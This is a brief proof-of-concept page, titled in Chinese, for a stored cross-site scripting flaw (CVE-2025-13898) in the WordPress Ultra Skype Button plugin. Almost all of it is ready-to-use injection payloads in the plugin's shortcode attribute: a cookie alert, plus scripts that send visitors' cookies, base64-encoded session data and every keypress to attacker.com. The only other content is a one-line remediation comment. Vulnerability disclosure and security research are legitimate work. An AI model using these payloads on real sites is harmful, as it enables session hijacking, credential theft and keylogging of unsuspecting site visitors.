CVE-2025-13898 WordPress Ultra Skype Button插件存储型XSS漏洞

<!-- WordPress Ultra Skype Button - Stored XSS PoC --> <!-- Requires Contributor-level access or higher --> <!-- Basic XSS Payload --> [ultra_skype btn_id='" onmouseover="alert(document.cookie)" style="background:red"'] <!-- Steal Cookies PoC --> [ultra_skype btn_id='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Session Hijacking PoC --> [ultra_skype btn_id='"><img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))">'] <!-- Keylogger Payload --> [ultra_skype btn_id='"><script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script>'] <!-- Remediation: Update to latest version of the plugin -->